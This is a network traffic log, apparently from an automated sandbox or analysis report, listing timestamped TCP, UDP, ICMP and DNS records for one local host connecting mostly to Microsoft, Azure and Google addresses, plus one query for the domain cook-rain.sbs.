Nov 20, 2024 01:19:09.121220112 CET	50094	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.121227026 CET	443	50094	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.140320063 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.140320063 CET	50092	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.140341997 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.140353918 CET	443	50092	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.142769098 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.142841101 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.142879963 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.142895937 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.142923117 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.142940998 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.143009901 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.143135071 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.179596901 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.179622889 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.179634094 CET	50091	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.179640055 CET	443	50091	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.214540005 CET	50096	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.214571953 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.214648008 CET	50096	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.215847015 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.215986013 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.216054916 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.219194889 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.219208956 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.219310045 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.220019102 CET	50096	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.220031977 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.220168114 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.220177889 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.220182896 CET	50095	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.220186949 CET	443	50095	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.224178076 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.224194050 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.225560904 CET	50098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.225575924 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.225625992 CET	50098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.225863934 CET	50098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.225873947 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.226855040 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.226864100 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.226958036 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.226988077 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.227009058 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.227063894 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.227215052 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.227226973 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.227236032 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.227250099 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.886331081 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.887165070 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.887180090 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.887763023 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.887769938 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.890450954 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.891005039 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.891016960 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.891432047 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.891437054 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.895804882 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.896245956 CET	50096	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.896264076 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.896672964 CET	50096	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.896677971 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.898176908 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.898901939 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.898916960 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.899498940 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.899519920 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.909466982 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.909806013 CET	50098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.909837961 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.911170006 CET	50098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.911178112 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.986854076 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.987001896 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.987061024 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.987076044 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.987101078 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.987579107 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.987596035 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.987617970 CET	50097	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.987624884 CET	443	50097	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.990753889 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.990792990 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:09.990978956 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.991055965 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:09.991067886 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199421883 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199482918 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199508905 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199517965 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199537039 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199563980 CET	50096	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.199589014 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199636936 CET	50098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.199640036 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199744940 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.199803114 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.199837923 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.201426983 CET	50096	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.201442957 CET	443	50096	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.203249931 CET	50098	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.203253984 CET	443	50098	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.203635931 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.203649044 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.203660011 CET	50100	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.203665972 CET	443	50100	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.203857899 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.203872919 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.203887939 CET	50099	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.203896046 CET	443	50099	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.208250046 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.208272934 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.208522081 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.208662987 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.208674908 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.853055954 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.853532076 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.853554010 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.854032040 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.854038000 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.872980118 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.873409986 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.873431921 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.873831987 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.873836994 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.959892035 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.959959984 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.960165977 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.960251093 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.960268974 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.960278988 CET	50102	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.960284948 CET	443	50102	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.976578951 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.976728916 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.977081060 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.977102995 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.977113962 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:10.977123976 CET	50101	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:10.977129936 CET	443	50101	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:15.485065937 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:15.485089064 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:15.485543013 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:15.486114025 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:15.486128092 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.210815907 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.210901976 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.212142944 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.212152958 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.212475061 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.213674068 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.255331993 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.494731903 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.494762897 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.494784117 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.494848013 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.494859934 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.494930029 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.496186018 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.496227980 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.496259928 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.496268988 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.496282101 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.496294975 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.496393919 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.498157978 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.498169899 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:16.498184919 CET	50103	443	192.168.2.5	172.202.163.200
Nov 20, 2024 01:19:16.498192072 CET	443	50103	172.202.163.200	192.168.2.5
Nov 20, 2024 01:19:21.322679043 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:21.322715044 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:21.322777033 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:21.323685884 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:21.323705912 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.140420914 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.141526937 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:22.142321110 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:22.142328024 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.143168926 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.145138025 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:22.145287037 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:22.145287037 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:22.145294905 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.187336922 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.319529057 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.319657087 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.320163012 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:22.320163012 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:22.320208073 CET	443	50104	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:22.320249081 CET	50104	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.037283897 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.037321091 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:34.037391901 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.038048983 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.038064957 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:34.827831984 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:34.827893019 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.829802990 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.829811096 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:34.830046892 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:34.831696987 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.831696987 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.831713915 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:34.832278013 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:34.875360012 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:35.004311085 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:35.004409075 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:35.004461050 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:35.004599094 CET	50105	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:35.004614115 CET	443	50105	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:50.102161884 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:50.102255106 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:50.102340937 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:50.102854013 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:50.102938890 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:50.760433912 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:50.760745049 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:50.760809898 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:50.761321068 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:50.761682987 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:50.761796951 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:50.815665960 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:57.253443956 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:19:57.253511906 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:19:57.253602982 CET	49709	80	192.168.2.5	199.232.210.172
Nov 20, 2024 01:19:57.259095907 CET	443	49711	40.126.32.72	192.168.2.5
Nov 20, 2024 01:19:57.259108067 CET	443	49708	40.126.32.72	192.168.2.5
Nov 20, 2024 01:19:57.259130955 CET	80	49709	199.232.210.172	192.168.2.5
Nov 20, 2024 01:19:57.259152889 CET	49711	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:19:57.259177923 CET	49708	443	192.168.2.5	40.126.32.72
Nov 20, 2024 01:19:57.259181976 CET	49709	80	192.168.2.5	199.232.210.172
Nov 20, 2024 01:19:57.665347099 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:57.665395975 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:57.665477037 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:57.666250944 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:57.666265965 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.547862053 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.547992945 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:58.550462961 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:58.550472021 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.550796986 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.553505898 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:58.553556919 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:58.553581953 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.553750992 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:58.595364094 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.730640888 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.730768919 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:58.730881929 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:58.731173992 CET	50109	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:58.731190920 CET	443	50109	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:00.665978909 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:20:00.666038990 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:20:00.666135073 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:20:02.238862038 CET	50107	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:20:02.238898993 CET	443	50107	172.217.16.196	192.168.2.5
Nov 20, 2024 01:20:05.350022078 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:05.350081921 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:05.350203037 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:05.350770950 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:05.350789070 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.250403881 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.250530958 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:06.252129078 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:06.252142906 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.253119946 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.254332066 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:06.254384041 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:06.254391909 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.254476070 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:06.299343109 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.429943085 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.430170059 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.430442095 CET	50110	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:20:06.430480003 CET	443	50110	40.113.103.199	192.168.2.5
Nov 20, 2024 01:20:06.430496931 CET	50110	443	192.168.2.5	40.113.103.199

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 01:18:24.766562939 CET	54775	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:24.804146051 CET	53	54775	1.1.1.1	192.168.2.5
Nov 20, 2024 01:18:46.047369003 CET	53	57188	1.1.1.1	192.168.2.5
Nov 20, 2024 01:18:46.053930998 CET	53	65077	1.1.1.1	192.168.2.5
Nov 20, 2024 01:18:47.050052881 CET	53	59854	1.1.1.1	192.168.2.5
Nov 20, 2024 01:18:49.149409056 CET	63785	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:49.149614096 CET	49218	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:49.941507101 CET	55155	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:49.941715956 CET	54202	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:49.948707104 CET	53	55155	1.1.1.1	192.168.2.5
Nov 20, 2024 01:18:49.948728085 CET	53	54202	1.1.1.1	192.168.2.5
Nov 20, 2024 01:18:50.266949892 CET	55880	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:50.267122984 CET	60072	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:55.015563011 CET	53	58123	1.1.1.1	192.168.2.5
Nov 20, 2024 01:18:55.966661930 CET	57295	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:18:55.966808081 CET	55306	53	192.168.2.5	1.1.1.1
Nov 20, 2024 01:19:04.199229002 CET	53	56514	1.1.1.1	192.168.2.5
Nov 20, 2024 01:19:22.930031061 CET	53	53475	1.1.1.1	192.168.2.5
Nov 20, 2024 01:19:45.202068090 CET	53	55733	1.1.1.1	192.168.2.5
Nov 20, 2024 01:19:45.730618000 CET	53	62394	1.1.1.1	192.168.2.5
Nov 20, 2024 01:20:13.794145107 CET	53	64848	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Nov 20, 2024 01:18:46.939136982 CET	192.168.2.5	1.1.1.1	c2e4	(Port unreachable)	Destination Unreachable
Nov 20, 2024 01:18:49.186652899 CET	192.168.2.5	1.1.1.1	c2b5	(Port unreachable)	Destination Unreachable
Nov 20, 2024 01:19:00.229316950 CET	192.168.2.5	1.1.1.1	c265	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 20, 2024 01:18:24.766562939 CET	192.168.2.5	1.1.1.1	0xbc91	Standard query (0)	cook-rain.sbs	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:49.149409056 CET	192.168.2.5	1.1.1.1	0x6799	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:49.149614096 CET	192.168.2.5	1.1.1.1	0xf998	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 01:18:49.941507101 CET	192.168.2.5	1.1.1.1	0xf572	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:49.941715956 CET	192.168.2.5	1.1.1.1	0xeef2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 20, 2024 01:18:50.266949892 CET	192.168.2.5	1.1.1.1	0x1d8	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:50.267122984 CET	192.168.2.5	1.1.1.1	0xecea	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Nov 20, 2024 01:18:55.966661930 CET	192.168.2.5	1.1.1.1	0xd10	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:55.966808081 CET	192.168.2.5	1.1.1.1	0x49c6	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 20, 2024 01:18:18.229104042 CET	1.1.1.1	192.168.2.5	0xecaa	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:18.229104042 CET	1.1.1.1	192.168.2.5	0xecaa	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:24.804146051 CET	1.1.1.1	192.168.2.5	0xbc91	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:24.804146051 CET	1.1.1.1	192.168.2.5	0xbc91	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 20, 2024 01:18:49.155668974 CET	1.1.1.1	192.168.2.5	0x74c3	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.155668974 CET	1.1.1.1	192.168.2.5	0x74c3	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 01:18:49.155668974 CET	1.1.1.1	192.168.2.5	0x74c3	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
